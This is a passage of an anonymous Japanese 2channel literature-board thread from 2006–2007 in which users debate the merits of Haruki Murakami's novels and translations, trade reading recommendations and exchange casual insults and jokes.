06/11/29 13:08:18
>>1>>319、安原顯か?おまえらは

321:吾輩は名無しである
06/11/29 13:39:52
結局、春樹でも日本人的な湿っぽさは残ってるんだよ。
アメリカはポー、O.ヘンリー、ヘミングウェイ、サリンジャーと、ずっとクールだった。
ただ、最近はニルヴァーナのグランジロック辺りからアメリカが一番湿っぽい気配がするけど。

322:吾輩は名無しである
06/11/29 23:25:05
日本人的な湿っぽさが
あまりの通俗さ・単純さとケコーンしたとき

大衆ベストセラーの出来上がりだよ

323:吾輩は名無しである
06/11/29 23:52:20
奇をてらってるから、芸術ってわけでも、高度ってわけでもないと思うのだが。

324:吾輩は名無しである
06/12/05 11:08:58
あげえええええ

325:吾輩は名無しである
06/12/05 12:20:00
高尚っ「ぽい」よね。意味なくトルストイとか出てくるし
ふだん本を読まない椰子は賢くなった気分がするだろう。

326:吾輩は名無しである
06/12/05 14:23:26
高尚っ「ぽい」と見せかけることによってそれに騙される人を蔑むという奴にはった罠のことか?

327:吾輩は名無しである
06/12/06 00:58:25
つまりマクドナルドが「オートゥイユ産バフォンフォアグラ添え木いちごソース」バーガー
を出して大衆に売りつけるみたいな w
大衆が「これこそが食べ物です!」みたいな w


電通糞レベル

328:吾輩は名無しである
06/12/06 01:21:08
 ギッツビーは小説としては標準的でそれほど難解なわけではない。他に難解なものなぞいくら
でもある。

 だがハルキファンというのは、ギャッビーレベルでも「とっつきが悪いが極めて優れているのだ。
もう少し踏み込んでいえばそれなりの読解力があってはじめてその真価が理解されうるという類い
の文章なのである。私も後数度読んではじめてもっと作品の良さを味わうことができるのだろうな、
と痛感。」「についての知識があったら、この小説をもっと深く理解することができたかもしれま
せん。 」「この作品の本質というか、全体的な「これはこういうことだ!」という感想が抱けな
い」というようなひとたちなのである。

 それが村上の、誇張され裏も表も左右もなくなるほどタンジュンカされ、ごくわかりやすい
本を読んで「わかったー !!!」「これだー。」とオットセイの群れのごとく吠えているという
情景は、かえってその真空の深さを示していて不気味である。

329:吾輩は名無しである
06/12/06 19:49:35
逆に読解力のなさを作品の所為にしている情景も
村上ファンの傾向でもあるな。

330:のびーるバナナ
06/12/13 11:47:05
URLリンク(f12.aaa.livedoor.jp)

331:吾輩は名無しである
06/12/16 13:20:43
「日本軍はキチガイだと思ったから『ねじまき鳥~』を書いた」 村上春樹氏が正しい解釈を語る
スレリンク(news板)

332:吾輩は名無しである
06/12/19 17:24:36
うぷ

333:吾輩は名無しである
06/12/24 03:16:17
地元が神戸なので、短編とか読んでると「あぁ、この話はあそこのことだろうな」と
思うことがたまーにあるけど、目の付け所はさすがに鋭い!と思う事が多い。
でも、その鋭さ故にただの描写からも無駄に(と言ったらなんだが)深みを感じてしまっている部分もあると思う。
それが読後の「浅いようで深い」不思議な感覚(しない?)の要素の一つになっている気がする。
そこが人気なのかもしれんが。
だから人によっては「ウソっぽさ」と感じる人もいるんだろうな。と勝手に思ってるんですけど、どうですか。

334:吾輩は名無しである
06/12/24 08:55:49
キモイ

335:吾輩は名無しである
06/12/27 23:37:41
文学板なのにキモイはねーよ。

336:吾輩は名無しである
07/01/02 14:33:53
あげろ

337:吾輩は名無しである
07/01/08 11:44:34
村上訳の『ライ麦畑でつかまえて』を読んだが、あれは翻訳というより、サリンジャーが書いた小説を村上が書き直した物だ。

338:吾輩は名無しである
07/01/09 23:39:01
ギャツピー読み中だお

339:吾輩は名無しである
07/01/10 00:36:11
>>337
原文まともに読めるのかよ! タコがwww


340:吾輩は名無しである
07/01/10 06:43:10
ん?読めるから言ってるんじゃないの?

341:吾輩は名無しである
07/01/15 17:35:38
URLリンク(www.univch.net)
たいへんなことが・・

342:吾輩は名無しである
07/01/26 08:30:08
初、村上春樹さんの本
どの本からはいるのがおすすめでしょうか?

343:吾輩は名無しである
07/01/26 09:00:54
>>342
村上朝日堂

344:吾輩は名無しである
07/01/26 11:02:18
朝日堂シリーズだと一番最初のが好きだな

345:吾輩は名無しである
07/01/26 14:49:44
一番大事なことを「闇」としか表現できない作家のスレはここですか?

346:吾輩は名無しである
07/01/26 14:50:48
闇なんて表現したことないのでたぶん違います

347:吾輩は名無しである
07/01/26 14:51:21
w

348:吾輩は名無しである
07/01/26 15:25:30
「いっちょ、村上さんでやってみるか」だったっけ?
あれは春樹ファン的にはどうなんですか?

349:吾輩は名無しである
07/01/26 18:02:16
なにこのアンチスレwww

350:吾輩は名無しである
07/01/26 21:37:50
アンチというか村上の作品に『のれない』人たちの集まりだろう。

351:吾輩は名無しである
07/01/27 07:28:37
ねじ巻き鳥を読み返したが、とても面白い。深い。
彼の作品は、文章はとても平易で読みやすいが、考えさせられることが多いと思う。
人はこのようにして少しずつ秘密をつくりだしてゆくのだな、、という件など。
また、なかなか表現しにくい微妙な感覚を、きわめて高いレベルで表現していると思う。
しかも、限定された言葉で表現するのではなく、暗示に満ちたイメージによって。
説明はしにくいが、「核心」をついているように感じられる。
見事だ。そして僕のような読者は、いつまでもこれらのイメージを反芻し、考え続けるのだ。

352:吾輩は名無しである
07/01/27 08:52:55
安部公房や大江健三郎なんてのは、あんなに滅茶苦茶に書いても芸術的なのに、春樹の場合は段々と持ち味の叙情性が失われてきてる感じだよね。

353:吾輩は名無しである
07/01/27 08:56:52
春樹文学は日本が最も豊かだった80年代を代表する表現だったわけで。

354:吾輩は名無しである
07/01/27 09:12:47
『アフターダーク』なんかは、80年代と同じことは書いてられないと春樹自身も気付いたことが表れてる。

355:吾輩は名無しである
07/01/27 11:10:49
ねじまき鳥ってツイン・ピークスのパクリ。

356:吾輩は名無しである
07/01/27 16:14:08
『海辺のカフカ』にもマクドナルドや吉野家に対する嘆きがあったと思うけど、基本的に春樹は80年代のリッチ感とセットのものでしょう。

357:吾輩は名無しである
07/01/27 21:30:26
ツイン・ピークスの監督といえば現在のハリウッドで芸術を求めてる数少ない一人っぽいデイビッド・リンチ。
てか、スティーヴン・キングといい、村上春樹はオカルトが好きなのかもしれない。

358:吾輩は名無しである
07/01/28 07:50:28
逆に青臭さと鼻持ちならない物事を斜めに捉えるような感じが抜けたわけで。

359:吾輩は名無しである
07/01/28 10:33:02
90年代の作品は昔より文体が整ったが、逆に味が薄れた気がする。

360:吾輩は名無しである
07/01/28 13:42:02
>>359
切れ味というか、初期の作品は若者に共感するようなドラマがあったと思う。
まぁ、それをデタッチメントからコミットメントの変化というように春樹も
自覚しているわけだけども。
春樹が年齢を積み重ねるとともに、春樹自身、そのドラマから卒業していったということ
じゃないかな。


361:吾輩は名無しである
07/01/28 14:24:47
age

362:吾輩は名無しである
07/01/30 21:36:03
つい最近村上春樹を全作品読み終えたのだか、あのあっという間に読みきってしまう文体に頭がなれて、
昔の小説とか読めなくなりそうで不安。

363:吾輩は名無しである
07/01/30 23:06:27
春樹の世代は今日に繋がるカウンター・カルチャーやポップ・カルチャーの祖みたいなもんだし、それだけに当時は時代を巻き込むだけのトリップ感があったんだろう。

364:吾輩は名無しである
07/01/31 00:10:37
春樹さんって今何才だっけ?

365:吾輩は名無しである
07/01/31 00:19:29
五十四五歳かな

366:吾輩は名無しである
07/01/31 00:23:16
確か、57歳くらいなはず。

367:吾輩は名無しである
07/01/31 00:36:06
翻訳が一段落したところで、いよいよ長編だな。
そろそろ前から書いてみたいといってたドスト級の総合小説か。


368:吾輩は名無しである
07/01/31 03:39:18
河合隼雄との対談に出てくる「物語」という言葉の意味がのみこめない

369:吾輩は名無しである
07/02/05 16:00:35
あげ

370:吾輩は名無しである
07/02/08 13:09:39
いまさらだけど、ノルウェイの森を読んだ。
直子に入移して、すごく引き込まれちまった。

371:吾輩は名無しである
07/02/08 14:09:18
次はカラマーゾフ級の小説か・・・
楽しみだな

372:吾輩は名無しである
07/02/09 05:00:08
すいません
陽子妻さんと春樹さんってタメ?

373:吾輩は名無しである
07/02/10 08:24:39
村上春樹の奨める三大小説って相互にほとんど関連性がないと思うが、何でこの三冊なんだろう。
ギャツビーは読んだから、次は早くロンググッドバイを出してくれ。

後、カラマーゾフは翻訳しないのかな。

374:吾輩は名無しである
07/02/10 08:34:13
ていうかロシア語出来るのかよ?

375:吾輩は名無しである
07/02/10 09:11:27
ロシア語の構文はロシア人を両親から遠ざける

ジャン・リュック・ゴダール「アワーミュージック」より

376:375
07/02/10 10:13:28
わり両親じゃなくて良心w ホントスイマセン

377:黒猫
07/02/11 03:24:59
後期の作品において、少し違った赴きがある「アフターダーク」
あれ、面白くないか?

378:吾輩は名無しである
07/02/11 03:34:03
アフターダーク専用のスレありますよっと

379:吾輩は名無しである
07/02/13 03:05:45
ピンボールと海辺のカフカって、言ってること同じに思えたw

380:吾輩は名無しである
07/02/14 01:05:39
「螢・納屋を焼く・その他短編」から春樹ワールドに入った
昨日入ったばかりでまだ分からない事多いけど
文は上手いね。
短編→ねじまき鳥でいくか



381:吾輩は名無しである
07/02/14 11:04:37
a

382:吾輩は名無しである
07/02/14 13:06:12
十代のころ村上春樹が大好きで、たくさん読んだけど
二十代後半になった今、懐かしくなって読み返したけど、
まったく面白いと思えず、逆に読むのが苦痛な感じさえします。

あれほど好きだったのに…(;_;)
ちょっと悲しいです。

383:吾輩は名無しである
07/02/14 13:11:38
>>350,351,353,363

自分が生きた時代のこともわかってない
この手の社内人生オヤジが
村上の宣伝しても意味ないし w

384:吾輩は名無しである
07/02/14 13:13:21
カウンター・カルチャーやポップ・カルチャーの祖って言ってれば
オケー、っか
そんなもん紀元前8000年前からあるよ w

385:吾輩は名無しである
07/02/14 16:23:49
>>384
> そんなもん紀元前8000年前からあるよ w
言ってる事もなんだけど、へんな日本語だよな

386:吾輩は名無しである
07/02/16 23:11:43
10代に勧めたい作品教えてください

387:吾輩は名無しである
07/02/17 17:50:28
この人は作品群がカクイツテキなのがいけない。
あと女の人にテコキをさせすぎるのもいけない。
テコキはノルウェイの森に捨ててくるべきだった。

そうすればもしかしたらノーベル取れてかもしれない。

388:吾輩は名無しである
07/02/17 19:37:23
ねじまき路地クロニクル
やっぱり春樹はねじまきが素晴らしい

389:吾輩は名無しである
07/02/17 20:03:43
なんでレイコさんとやったの?

390:吾輩は名無しである
07/02/17 22:01:35
それ上下巻のうちどっち?下巻なくしたかも

391:吾輩は名無しである
07/02/18 05:01:52
エッチしておけば、その相手のことをあまり忘れない


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